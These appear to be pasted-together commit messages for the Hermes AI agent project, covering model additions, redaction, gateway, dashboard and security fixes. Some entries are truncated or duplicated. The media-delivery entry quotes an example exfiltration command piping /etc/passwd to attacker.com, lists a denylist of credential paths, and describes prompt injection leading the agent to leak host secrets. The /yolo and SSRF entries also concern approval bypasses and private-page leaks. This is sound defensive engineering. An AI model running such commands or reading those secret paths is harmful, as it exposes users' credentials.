Classify these as a new FailoverReason.content_policy_blocked
(non-retryable, should_fallback=True) and route them through the
existing is_client_error path so the loop:
  - skips the 3x retry backoff
  - activates a configured fallback model immediately
  - emits a clear provider-safety message to the user (not the generic
    'Non-retryable error (HTTP None)') and surfaces actionable guidance
    when no fallback is configured (rephrase, narrow context, or set
    fallback_model in hermes config)
  - returns a final_response that explicitly tells the user this came
    from the model provider, so gateway delivery is unambiguous and
    cron last_status reflects the safety block rather than a vague
    'agent reported failure'

Patterns are intentionally narrow — verbatim refusal phrasings keyed to
specific provider safety pipelines, not generic words like 'policy' or
'violation' that would collide with billing / format / auth errors.
Regression guards in test_18028_content_policy_blocked.py verify
billing 402s, generic 400s, and OpenRouter account-level
provider_policy_blocked remain distinct classifications.

_buffer_status), broadened patterns beyond the original OpenAI Codex
cybersecurity case to cover OpenAI moderation, Anthropic safety system,
and Azure content_filter; added user-actionable guidance and a clear
final_response so cron/gateway surfaces the policy block instead of a
generic non-retryable error, and added a regression-guard test module
mirroring the is_client_error predicate.

Addresses #18028.

* feat(openrouter): pass session_id in extra_body for sticky routing

OpenRouter supports a session_id field in extra_body that pins
multi-turn conversations to the same provider endpoint, enabling
prompt cache reuse across turns. The session_id was already threaded
through to build_extra_body() but never included in the returned dict.

* feat: add claude-opus-4.8 and claude-opus-4.8-fast (#34003)

Anthropic released Claude Opus 4.8 on 2026-05-27, available on
OpenRouter, Anthropic, Amazon Bedrock, and Claude Platform on AWS:
  - https://openrouter.ai/anthropic/claude-opus-4.8
  - https://openrouter.ai/anthropic/claude-opus-4.8-fast

The fast-mode variant is a separate model ID (anthropic/claude-opus-4.8-fast)
priced at 2x of the base model — a notable improvement over the 6x premium
on older Opus generations (4.6/4.7). It is NOT a `speed: "fast"` request
parameter like Opus 4.6; Anthropic's native fast-mode beta still only
covers Opus 4.6.

Changes:

  hermes_cli/models.py
    - Add anthropic/claude-opus-4.8 + anthropic/claude-opus-4.8-fast to
      the OpenRouter fallback snapshot and the Nous Portal curated list
      (live catalogs surface them automatically when reachable; the
      fallback list matters when the manifest fetch fails).
    - Add claude-opus-4-8 to the Anthropic-native picker list.

  agent/model_metadata.py
    - Register claude-opus-4-8 / claude-opus-4.8 in DEFAULT_CONTEXT_LENGTHS
      with 1M tokens (matches 4.6/4.7).

  agent/anthropic_adapter.py
    - Extend _XHIGH_EFFORT_SUBSTRINGS, _ADAPTIVE_THINKING_SUBSTRINGS, and
      _NO_SAMPLING_PARAMS_SUBSTRINGS with "4-8"/"4.8". 4.8 inherits the
      Opus 4.7 API contract: adaptive thinking only, xhigh effort level
      supported, sampling parameters (temperature/top_p/top_k) return 400.
    - Add claude-opus-4-8 to _ANTHROPIC_OUTPUT_LIMITS (128k max output,
      same as 4.7). Matches by substring so claude-opus-4-8-fast and
      date-stamped variants resolve correctly.

  agent/usage_pricing.py
    - Add anthropic/claude-opus-4-8: $5/$25 per MTok input/output, $0.50
      cache read, $6.25 cache write (same as 4.6/4.7).
    - Add anthropic/claude-opus-4-8-fast: $10/$50 per MTok (2x), $1.00
      cache read, $12.50 cache write. Per OpenRouter, the 2x premium is
      the only differentiator from regular Opus 4.8.
    - OpenRouter routes still pull pricing from the live /models API, so
      no static OpenRouter entry is needed.

  tests/agent/test_model_metadata.py
    - Extend the Claude 4.6+ context-length tag list with 4.8/4-8.

  website/static/api/model-catalog.json
    - Regenerated via `python scripts/build_model_catalog.py` to pick up
      the new entries in the OpenRouter and Nous Portal fallback lists.

E2E verification (isolated sys.path import against the worktree):
  - _supports_adaptive_thinking, _supports_xhigh_effort, _forbids_sampling_params
    all return True for claude-opus-4.8 and claude-opus-4.8-fast.
  - _supports_fast_mode (the `speed: "fast"` request-parameter gate) stays
    False for 4.8 — fast mode is a separate model ID on OpenRouter, not a
    parameter Anthropic accepts on the base model.
  - DEFAULT_CONTEXT_LENGTHS resolves 1M for both notations.
  - resolve_billing_route + _lookup_official_docs_pricing resolve the
    correct $5/$25 (regular) and $10/$50 (fast) pricing for both
    dot-notation and dash-notation inputs.
  - 4.7 and 4.6 regression: behavior unchanged.

Unit tests: 305 passed across tests/agent/test_usage_pricing.py,

* chore(release): bump acp_registry/agent.json to 0.15.0 (sync with pyproject)

* fix(dashboard): auto-reload SPA on stale-token 401 in loopback mode (#33861)

The dashboard's loopback auth uses an ephemeral '_SESSION_TOKEN' that
rotates on every server restart (hermes update, hermes gateway restart,
etc.). A tab kept open across the restart holds the OLD token in
window.__HERMES_SESSION_TOKEN__ from the previous HTML render, so every
'/api/*' fetch returns '401 Unauthorized' — surfacing in the UI as
'Failed to load Kanban board: 401: Unauthorized', 'Analytics 401', etc.
(#24186, #25275).

Before this patch the workaround was to manually clear site data or
hard-reload — annoying enough that users reported it as a regression
even though the token rotation is by design (security property:
stolen tokens can't survive a server restart).

The HTML response already sets 'Cache-Control: no-store, no-cache,
must-revalidate', so a reload reliably picks up the freshly-injected
token. fetchJSON now triggers that reload automatically on the first
loopback-mode 401, guarded by a sessionStorage flag so a genuine
auth bug (where even the new token fails) falls through to throw
on the second attempt instead of reload-looping. The flag is
cleared on any 2xx so a subsequent server restart in the same tab
gets its own reload cycle.

Gated mode is unaffected — that path already redirects to login_url
via the structured 401 envelope (Phase 6), and the new code is
explicitly skipped when window.__HERMES_AUTH_REQUIRED__ is set.

The web/package-lock.json changed when bumping @nous-research/ui to 0.18.0,

build failed. Update it to the hash prefetch-npm-deps computes for the new
lockfile.

* fix(skills): pull full skills.sh catalog via sitemap (858 → 19,932) (#34025)

The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.

Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.

build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.

Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.

E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).

Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.

* fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)

PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.

Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.

Default flipped to denylist-only:
  • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
  • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
  • macOS Library/Keychains
  • $HERMES_HOME/{.env, auth.json, credentials}

The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.

• `gateway/platforms/base.py` — `validate_media_delivery_path()`
  short-circuits to "return resolved if not under denylist" when
  strict is off. Strict mode preserves the original cache-then-
  allowlist-then-recency logic. New `_media_delivery_strict_mode()`
  reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
  DEFAULT_CONFIG; existing keys documented as "only consulted in
  strict mode." No `_config_version` bump needed (deep-merge picks
  up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
  `HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
  to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
  exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
  with 8 cases covering the public default (stale .md accepted, any
  extension delivers, credential paths still blocked, strict env-var
  aliases, filter E2E).

Validation:
  - tests/gateway/test_platform_base.py: 119/119 pass
  - tests/gateway/test_tts_media_routing.py: 7/7 pass
  - tests/tools/test_send_message_tool.py: 121/121 pass
  - tests/hermes_cli/test_kanban_notify.py: 12/12 pass
  - tests/cron/test_scheduler.py: 120/120 pass
  - E2E via execute_code with real imports:
    • stale .md outside allowlist → accepted (default)
    • same path with STRICT=1 → rejected
    • $HOME/.ssh/id_rsa → rejected (default)
    • filter_local_delivery_paths([md, key]) → [md] only
    • gateway.strict in config.yaml → bridged to env (true=1, false=0)

* fix(redact): pass web URLs through unchanged (#34029)

* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

The helpers themselves are kept in the module — still importable by
anything that wants to opt in explicitly.

Still redacted (unchanged):
- Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.)
  anywhere they appear, including inside URLs — see the
  `test_known_prefix_inside_url_still_redacted` case.
- JWTs (`eyJ...`)
- DB connection-string passwords (`postgres://admin:pw@host`) —
  these are connection strings, not web URLs the agent navigates to.
- Authorization headers, ENV assignments, JSON `apiKey`/`token` fields,
  Telegram bot tokens, private key blocks, Discord mentions, E.164
  phone numbers, and form-urlencoded bodies (request bodies, not URLs).

Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction`
with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth
callback, magic link, S3 pre-signed, websocket, userinfo, access log)
pass through unchanged. Adds positive cases proving the prefix and DB
connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII
redaction tests all pass.

* test(codex_app_server): drop URL-query assertion from stderr-tail redaction test

The test bundled (a) sk-live-* credential-prefix redaction with (b)
URL query-param redaction. (a) is still in effect via _PREFIX_RE;
(b) was the contract we just removed in the parent commit so the
'querysecret12345' assertion stopped holding. Keep the credential-shape
assertion, drop the URL-query one.

Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py
is independent of agent/redact.py and unchanged — its tests
(test_top_level_send_failure_redacts_query_token,
test_http_error_redacts_access_token_in_exception_text) still pass.

* fix(model picker): unify /model and `hermes model` lists, add disk cache (#33867)

* fix(model picker): unify /model and `hermes model` model lists, add disk cache

The /model slash picker and `hermes model` were drifting apart. /model
read the raw static `OPENROUTER_MODELS` list (31 entries, including 5
that fail at runtime — no tool-call support or absent from live catalog),
while `hermes model` ran the same list through the live OpenRouter
/v1/models tool-support filter and showed 26 valid entries. Same problem
existed for every other authed provider: /model used curated static
lists, `hermes model` used live /v1/models.

Unifies both surfaces on `provider_model_ids()` and adds a generic
disk-cached wrapper so the picker stays snappy.

Changes
- hermes_cli/models.py: new `cached_provider_model_ids()` —
  ~/.hermes/provider_models_cache.json, 1h TTL, per-provider entries
  keyed by credential fingerprint (env vars + OAuth file mtimes).
  Stale-data-beats-no-data on transient failures. Pair with
  `clear_provider_models_cache(provider=None)`.
- hermes_cli/models.py: `provider_model_ids("nous")` now falls back
  to the docs-hosted manifest (not the in-repo snapshot) when the live
  Portal /models call fails — preserves the model_catalog regression
  guarantee while still going through the unified pathway.
- hermes_cli/model_switch.py: `list_authenticated_providers` routes
  sections 1, 2, and 2b through `cached_provider_model_ids(slug)` with
  curated fallback when the live fetcher comes up empty.
- hermes_cli/model_switch.py: `parse_model_flags` extended to a
  4-tuple, parses `--refresh`.
- cli.py / gateway/run.py / tui_gateway/server.py: updated unpacking;
  CLI + gateway wire `--refresh` to `clear_provider_models_cache()`.
- hermes_cli/main.py: `hermes model --refresh` argparse flag.
- hermes_cli/commands.py: `/model` args_hint advertises `--refresh`.
- tests/hermes_cli/test_inventory.py: refresh stale comment.

Live PTY parity verification
- /model → OpenRouter row: `(26 models)` (was 31, with broken entries)
- `hermes model` → OpenRouter: 26 models (unchanged)
- The 5 dropped entries: `pareto-code` (no tool-call support),
  `gemini-3-pro-image-preview` (no tool-call support),
  `elephant-alpha`, `hy3-preview:free`, `ring-2.6-1t:free` (gone
  from OpenRouter's live catalog).

Live PTY timing
- First /model open, empty cache: 4624 ms (full network round trip
  across every authed provider)
- Second /model open, warm cache: 51 ms (90× faster)
- `/model --refresh` clears the disk cache and re-fetches.

Cache schema (~/.hermes/provider_models_cache.json, ~3 KB):
  { "anthropic": {"fp": "<sha256:16>", "at": 1748..., "models": [...]},
    ... }

Targeted tests: tests/hermes_cli/ + gateway model tests + tui_gateway —
5855/5855 pass.

* fix(model picker): use blake2b for cache fingerprint to silence CodeQL

py/weak-sensitive-data-hashing flagged the sha256 call in
_credential_fingerprint() as a high-severity alert because the input
includes env var values whose names contain *_API_KEY / *_TOKEN.

The hash is used solely as a cache-bust identity — never reversed, never
stored, collisions are harmless (worst case: cache miss → live re-fetch).
blake2b serves the same purpose and isn't flagged by this rule.

Functional behavior identical: 16-hex-char digest, cache hit/miss logic
unchanged. Live re-verified — 26 OpenRouter models, warm-cache 78ms.

* fix(kanban): SIGTERM on worker must terminate the process (#28181)

The single-query signal handler in cli.py raises KeyboardInterrupt on
SIGTERM/SIGHUP. For interactive 'hermes chat -q' that unwinds the main
thread cleanly. For kanban workers spawned by the dispatcher, the
worker process is likely to have a non-daemon thread alive (terminal
_wait_for_process, custom plugins, etc.). With KeyboardInterrupt only
the main thread unwinds; the non-daemon thread keeps the process alive,
the gateway has already restarted, and the dispatcher's _pid_alive
check returns True forever — task stuck in 'running' indefinitely.

When HERMES_KANBAN_TASK is set (dispatcher-spawned worker), flush
logging + stdout/stderr, then os._exit(0) instead of raising
KeyboardInterrupt. The kernel reclaims the PID immediately, and the
existing zombie-state detection in _pid_alive flips the task to
crashed on the next dispatcher tick. detect_crashed_workers then
re-spawns it on the following tick — no manual recovery needed.

A SIGALRM(2s) deadman is armed before the flush so a pathological
blocking-I/O flush can't wedge the worker forever. In practice the
reporter measured flush in <1ms; the alarm is a failsafe, never
the common path.

Interactive (non-kanban) chat -q is unchanged — the env-gated branch
only fires for dispatcher-spawned workers.

Live verification on this machine:
- Without HERMES_KANBAN_TASK + non-daemon thread alive: process hangs
  alive 4+ seconds after SIGTERM. Dispatcher's _pid_alive returns
  True → task stuck.
- With HERMES_KANBAN_TASK + same non-daemon thread: process exits in
  0.10s via os._exit(0). Dispatcher reclaims on next tick.

Tests:
- tests/hermes_cli/test_signal_handler_kanban_worker.py (3 cases):
  end-to-end subprocess test with a non-daemon thread,
  HERMES_KANBAN_TASK env, SIGTERM, dispatcher-style _pid_alive check.
  Plus a source-level invariant test catching future refactors that
  drop the env-gated exit.
- 452/452 kanban tests pass.

* fix(cli): /yolo in chat must enable session bypass, not just set env var

The CLI's in-chat `/yolo` toggle mutated `os.environ["HERMES_YOLO_MODE"]`
but had no effect because `tools/approval.py:_YOLO_MODE_FROZEN` captures
that env var once at module-import time (a deliberate security floor that
keeps prompt-injected skills from flipping the bypass mid-run). By the
time the user reaches `/yolo` in a running CLI session, `tools.approval`
has already been imported, so the env flip after that is a silent no-op.

Result: `/yolo` advertised "⚠ YOLO" in the status bar while every
dangerous command still hit the approval prompt or got denied.  Only
`hermes --yolo` (set before tool imports), `HERMES_YOLO_MODE=1 hermes ...`,
and `hermes config set approvals.mode off` actually bypassed.

This patches the CLI to match what the gateway and TUI `/yolo` handlers
already do, plus mirrors the TUI's session-rename YOLO transfer:

* `_toggle_yolo()` now calls `enable_session_yolo(self.session_id)` /
  `disable_session_yolo(self.session_id)` instead of touching the env
  var.  Matches `gateway/run.py:_handle_yolo_command` and the
  `tui_gateway/server.py` key=="yolo" branch.
* Around each `run_conversation()` call, `run_agent()` now binds
  `set_current_session_key(self.session_id)` so
  `tools.approval.is_current_session_yolo_enabled()` resolves against
  the same key the toggle writes under, and resets it in `finally` so
  reused threads don't see stale identity.  Matches the
  `tui_gateway/server.py` and `gateway/platforms/api_server.py` binding
  pattern.
* New `_transfer_session_yolo()` helper carries YOLO bypass state
  across `self.session_id` reassignments — `/branch` forking into a
  new session id and the auto-compression sync that rotates into a
  fresh continuation session id.  Without this, the same UX failure
  mode the rest of this fix addresses (silent `/yolo` no-op) would
  reappear after a single `/branch` or auto-compression event.
  Mirrors `tui_gateway/server.py` ~line 1297-1305.
* New `_is_session_yolo_active()` helper replaces the two
  `bool(os.getenv("HERMES_YOLO_MODE"))` reads in the status-bar
  builders, so the badge reflects the actual bypass state.  Uses
  `getattr(self, "session_id", None)` so status-bar test fixtures
  that bypass `__init__` via `HermesCLI.__new__(HermesCLI)` don't
  trip `AttributeError` (the builders swallow exceptions silently
  and lose every field after the failure).  Still honors
  `_YOLO_MODE_FROZEN` so `hermes --yolo` keeps lighting it up.

The `_YOLO_MODE_FROZEN` security freeze is preserved — env-var-based
opt-in still only works when set before process start, which is the
documented contract for `--yolo` / `HERMES_YOLO_MODE`.

Closes #33925

* fix: stop probe stepdown without provider context limit

* chore: map yanghongda@jackyun.com -> yangguangjin in AUTHOR_MAP

* test: update non-minimax overflow test to match new keep-context behavior

The old test asserted that a non-MiniMax provider returning a generic
overflow (no provider-reported max) would step down to the 128K probe
tier. The salvaged fix from #33673 deliberately removes that step-down
because guessed tiers cause configured 1M sessions to silently shrink.

Update the test to assert the new contract: keep the configured 200K
window and rely on compression instead.

* feat(hindsight): default recall_types to observation only

Auto-recall used to surface every fact type Hindsight had on the
session — `world`, `experience`, and `observation`. That triple-ships
the same underlying signal in three different framings: observations
are the concrete events the user said/did/asked, while world and
experience facts are aggregate summaries Hindsight derives from those
exact observations. Including all three burns most of
`recall_max_tokens` on rephrasings, crowds out events the model
actually needs to see, and produces effective duplicates in the
prompt — observations themselves are deduplicated by construction
so observation-only recall is denser per token and closer to
conversational ground truth.

Change
------
- Default `_recall_types = ["observation"]` (was `None`, which
  delegated to server-side "return everything").
- `initialize()` now treats a missing `recall_types` config the same
  way; also accepts comma-separated strings for parity with `recall_tags`.
- An explicit `recall_types=[]` config falls back to the default rather
  than disabling the filter (would silently widen recall vs. the new
  default).
- Added to `get_config_schema()` so it's discoverable via `hermes config`.

Per-call `hindsight_recall` tool invocations are unaffected — they
already only forward `types` when the caller passes the argument.

Docs / migration
----------------
plugins/memory/hindsight/README.md grows a "Behavior change" callout
explaining the why (no-duplicates, information-efficient) and how to
restore the legacy broad recall:

    "recall_types": "observation,world,experience"   # or a JSON list

in `~/.hermes/hindsight/config.json`.

Tests
-----
- `test_default_values` updated for the new default.
- New cases: explicit list override, CSV string accepted, empty list
  falls back to default (not "wider than default").

* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /

* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

The helpers themselves are kept in the module — still importable by
anything that wants to opt in explicitly.

Still redacted (unchanged):
- Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.)
  anywhere they appear, including inside URLs — see the
  `test_known_prefix_inside_url_still_redacted` case.
- JWTs (`eyJ...`)
- DB connection-string passwords (`postgres://admin:pw@host`) —
  these are connection strings, not web URLs the agent navigates to.
- Authorization headers, ENV assignments, JSON `apiKey`/`token` fields,
  Telegram bot tokens, private key blocks, Discord mentions, E.164
  phone numbers, and form-urlencoded bodies (request bodies, not URLs).

…54475)

git remote set-url with an embedded password (https://PASSWORD@github.com)
leaked the credential into agent output — the redaction engine only masked
user:pass@ DB connection strings, never the colon-less bare-token userinfo
form a git remote uses.

Add _URL_BARE_TOKEN_RE: scheme://TOKEN@host for web/transport schemes
(http/https/wss/git/ssh/ftp), 8+ char floor to skip short usernames, token
class forbidding /:@ so an @ in a path/query is never treated as userinfo.

Deliberately scoped to the bare-token form only. The user:pass@ colon form
and query-string tokens stay passing through (#34029, 'pass web URLs through
unchanged') so magic-link / OAuth round-trip skills keep working — a bare
credential in userinfo is never a workflow token (those live in the query
string), so masking it can't break a skill.

…lations (NousResearch#1096) (#4)

* fix(desktop): make project "Add folder" picker remote-gateway aware

The new-project / add-folder dialog (PR #49037) picked folders via the
native Electron dialog (pickDefaultProjectDir), which only browses the
LOCAL machine. On a remote gateway that picks a path that doesn't exist
on the backend where sessions actually run.

Route pickProjectFolder() through selectDesktopPaths({directories,
multiple:false}) — the same remote-aware path the retired right-sidebar
picker used: local mode opens the native directory dialog, remote mode
browses the backend filesystem via the in-app RemoteFolderPicker. Seed
it with the backend's default cwd on remote so it opens somewhere useful.

* style(desktop): tighten pickProjectFolder comment

* feat(desktop): make the git cockpit work over a remote gateway

After the folder picker fix, an added remote folder was still half-usable:
the desktop's git GUI (coding-rail status, worktree lanes, review pane,
branch switch, file diff) all ran Electron-local git on the USER's machine,
so against a remote-gateway repo they silently degraded to empty.

Mirror the whole surface over the dashboard REST API so it acts on the
BACKEND repo where sessions actually run:

- hermes_cli/web_git.py: git/gh logic (status, worktrees, branches, review
  list/diff/stage/unstage/revert/commit/commit-context/push/ship-info/
  create-pr, file-diff, worktree add/remove, branch switch) shelling to the
  system git, mirroring the Electron ops' shapes.
- web_server.py: /api/git/* routes (same auth gate + _fs_path hardening as
  /api/fs, executor-offloaded, mutations -> 400).
- apps/desktop desktop-git.ts: remote-aware facade exposing the same shape as
  window.hermesDesktop.git; coding-status / review / projects / model /
  desktop-fs route through desktopGit() so local stays Electron, remote hits
  /api/git/*.

Tests: tests/hermes_cli/test_web_server_git.py (real repo: status counts,
review classification, diff incl. untracked all-add, stage+commit roundtrip,
worktree/branch lifecycle, commit-context, gh-absent ship-info, auth) and
desktop-git.test.ts (local vs remote routing, envelope unwrap, POST bodies).

* refactor(web_git): unify porcelain-v2 parsing into one walker

Collapse the two near-duplicate status parsers (_parse_status_v2 +
_iter_status_entries) into a single _walk_entries generator feeding the rail,
review list, and commit flow; share the staged predicate; hoist `import re`.
Behavior unchanged.

* fix(desktop): write project IDEA.md through the remote-aware fs path

writeProjectIdea used the local-only Electron writeTextFile, so on a remote
gateway IDEA.md never landed on the backend (where the project folder lives).
Route it through writeDesktopFileText (local Electron / POST /api/fs/write-text).

* fix(desktop): route composer context picking through remote-aware fs

Second pass on the remote-project flow: the project dialog and git cockpit were
remote-aware, but the composer's Add file/folder context picker still called the
native Electron picker directly. Route it through selectDesktopPaths so remote
sessions use the backend-aware picker instead of local disk paths; preserve local
multi-select behavior and keep remote folder selection single because the in-app
remote picker only supports one directory.

Also use readDesktopFileDataUrl for image previews so an already-known backend
image path can be read through /api/fs/read-data-url, and add focused coverage
for backend file-diff routing plus the plain-folder git init/worktree path.

* refactor(desktop): centralize remote git REST routing

Keep the remote git mirror as a thin facade: route all GETs through gitGet,
all mutations through gitPost, and keep consumers on desktopGit(). On the
backend, route git paths through a single _git_path helper instead of repeating
str(_fs_path(...)) in every endpoint. Behavior unchanged.

* refactor(desktop): keep remote fs routing inside the fs facade

Let UI callers ask for folders/files without knowing remote-picker limits:
selectDesktopPaths now normalizes remote directory selection to a single folder
inside the facade. Project creation and composer context picking no longer branch
on remote mode; they route through desktop-fs helpers just like git callers route
through desktopGit(). Behavior unchanged except remote folder context now works
through the same backend picker path.

* test(desktop): assert new backend sessions carry workspace cwd

Pin the desktop-to-gateway cwd handoff: createBackendSessionForSend must pass
the current workspace cwd into session.create so the backend registers the
session cwd before the agent/tools run.

* docs: reconcile docs with code across last 3 releases (#54254)

Audited the last 3 releases (v2026.5.28..main) against the docs site and
fixed code-vs-docs drift:

- slash-commands: add /moa, /prompt, /pet, /hatch, /timestamps
- cli-commands: add hermes pets / project / desktop / whatsapp-cloud +
  dashboard register; correct --insecure (now a deprecated no-op);
  add gateway migrate-legacy + enroll --wake-url + dashboard --skip-build
- environment-variables: document the remaining ~48 env vars (SimpleX,
  Photon, Teams adapter, per-platform *_ALLOW_ALL_USERS, home-channel vars,
  IRC, Brave/Krea/Notion/Linear/Airtable/Tenor keys, QQ_SANDBOX) — full
  OPTIONAL_ENV_VARS (265) now covered
- configuration: document tool_loop_guardrails, goals, prompt_caching,
  network, onboarding, dashboard config blocks
- toolsets/tools-reference + tools.md: add coding/project toolsets and
  read_terminal/project_* tools; remove the stale messaging toolset and
  send_message agent tool (removed in #47856); drop stale RL-training prose
- messaging: new IRC channel page (adapter shipped without docs) + index
  row + sidebar + env vars
- pets: document the /hatch AI generation pipeline + Nous/OpenRouter image
  backend
- web-dashboard: document the bearer-token / TokenPrincipal service auth path
- purge agent-callable send_message references across guides/features and
  the research-paper-writing skill (tool removed in #47856)

Verified: docusaurus build succeeds; all authored internal links resolve.

* fix(windows): cover remaining console-flash spawn legs (#54417)

* fix(desktop): remote project picker UX and profile-scoped fs/git routing

Route FS/git REST through the active profile, mount the remote folder picker
at app root, keep the project dialog open while picking, show a first-run
blank state, flip into grouped view on create, and constrain the picker scroll
area so Select stays reachable.

* fix(browser): extend private-network guard to browser_get_images

The SSRF cluster (7a6fe9bb, 48f5c425, 7ef04ae7) sealed
browser_snapshot, browser_vision, and _browser_eval against
eval-navigated private pages, but browser_get_images bypasses
_browser_eval and calls _run_browser_command("eval", ...) directly.
An eval-driven navigation to a private address followed by
browser_get_images would leak image src URLs and alt text from the
private page.

Add the same _eval_ssrf_guard_active + _current_page_private_url
recheck before returning image data, matching the pattern established
by the sibling guards.

5 new tests cover: block on private page, allow on public page, skip
for local backend, skip when private URLs allowed, no guard needed on
failed eval.

* fix(telegram): reject unauthorized users before event construction (#40863)

Removed/unauthorized Telegram users could inject prompt content before the
per-user auth gate fired. The adapter ran `_should_process_message`,
`_build_message_event`, and text/photo batching — and dispatched to the
runner — before `_is_user_authorized()` (gateway/authz_mixin.py) rejected
the sender. Unmentioned group chatter from a removed user was also
persisted into the session transcript via `_observe_unmentioned_group_message`,
leaking into the agent's observed context independent of dispatch.

Add `_is_user_authorized_from_message()` as an intake prefilter that runs
in `_handle_text_message`, `_handle_command`, `_handle_location_message`,
and `_handle_media_message` BEFORE batching, event construction, and the
unmentioned-group observe branch. It reuses the runner's
`_is_user_authorized()` with a correctly-shaped SessionSource (group vs
forum vs dm, real chat_id for TELEGRAM_GROUP_ALLOWED_* allowlists),
falls back to env allowlists, and only rejects when an allowlist actually
exists — unknown DMs with no allowlist still reach the pairing flow.
Channel posts authorize via `sender_chat` identity when `from_user` is
absent.

* test(web_git): assert default branch invariant, not hardcoded main

CI git init defaults to master on some runners; compare branch to
defaultBranch instead of pinning a branch name.

* fix(daytona): quote single-upload mkdir parent path (#54440)

* fix(daytona): quote single-upload mkdir parent path

The single-file _daytona_upload() path shelled out 'mkdir -p {parent}'
with the remote parent interpolated unquoted, so shell metacharacters in
the path could break the command or inject arbitrary commands into the
sandbox. The bulk-upload, bulk-download, and delete paths were already
hardened with shlex-quoting helpers; this single-upload path was missed.

Route it through the existing quoted_mkdir_command() helper and add a
regression test covering a path with shell metacharacters.

Reported by @Gutslabs (#3960); the original branch predated the
file_sync refactor, so the fix is re-applied to the current code path.

* fix(windows): repair missing hermes.exe after pip install (#52931)

On Windows, uv pip install -e . can register hermes.exe in package metadata
while the launcher never lands on disk. Detect missing [project.scripts]
shims and reinstall entry points under the existing quarantine path in
hermes update and install.ps1.

* test(cli): cover Windows console script repair (#52931)

Add unit tests for missing-shim detection and repair trigger in
_verify_console_scripts_installed.

* fix(windows): verify launchers after primary install

* fix(curator): never archive cron-referenced skills + floor use=0 pruning (#54443)

The curator's inactivity prune archived any non-pinned agent-created
skill whose activity was older than archive_after_days (90d). A skill
loaded only by a cron job had its usage bumped solely when the job
fired, so paused jobs, infrequent (quarterly/annual) schedules, and
far-future one-shots aged their skills out from under them — the next
run then failed to load the now-archived skill.

- cron/jobs.py: add referenced_skill_names() returning skills used by
  ANY job (incl. paused/disabled).
- curator.apply_automatic_transitions(): skip cron-referenced skills
  like pinned; add a use=0 grace floor so a never-used skill is not
  marked stale/archived until it is at least stale_after_days old.
- LLM review pass: candidate list marks cron=yes; prompt forbids
  pruning cron-referenced skills and never-used skills under 30 days.

Tested E2E against a real cron job + real usage records and with 4 new
unit tests.

* fix(gateway): preserve sessions across restarts (#54442)

* fix(provider): auto+base_url bypasses cloud API when custom endpoint configured (#3846)

